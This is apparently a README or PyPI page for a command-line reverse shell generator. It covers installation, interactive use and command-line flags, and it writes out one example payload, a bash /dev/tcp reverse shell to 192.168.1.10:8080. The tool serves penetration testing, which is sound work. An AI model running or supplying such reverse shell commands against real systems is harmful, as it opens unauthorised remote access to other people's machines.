https://pypi.org/project/revshell-generator/
The Reverse Shell Generator is a CLI tool that assists in quickly generating reverse shell commands and their corresponding listener commands.
You can either clone the repository or install the package from PyPI.
Clone the repository:
apt install python3 python3-pip
git clone https://github.com/totekuh/reverse-shell-generator
cd reverse-shell-generator
pip3 install .
python3 revshellgenerator.py -hPyPI:
sudo apt install python3 python3-pip
sudo pip3 install revshell-generator
revshell-generator -hYou can use the Reverse Shell Generator either interactively or by passing parameters directly on the command line.
$ revshell-generator
Welcome to the reverse shell generator. Type 'help' or '?' to list available commands.revshell-generator --ip 192.168.1.10 --port 8080 --shell /bin/bashYou can also specify the IP address by providing a network interface name:
revshell-generator --ip eth0 --port 8080 --shell /bin/bashIn interactive mode, you can set these parameters using the ip, port, and shell commands:
>> ip 192.168.1.10
>> port 8080
>> shell /bin/bash>> list reverseNote: the indexes are used while choosing the command template.
>> list listeners$ python3 revshellgenerator.py
>> get reverse 0The above command will generate the first available reverse shell command, replacing the placeholders with the provided IP, port, and shell. Here's an example of how it might look:
bash -i >& /dev/tcp/192.168.1.10/8080 0>&1>> get listeners 10For more detailed instructions and specific commands, use the 'help' command followed by the command name, such as help list or help get.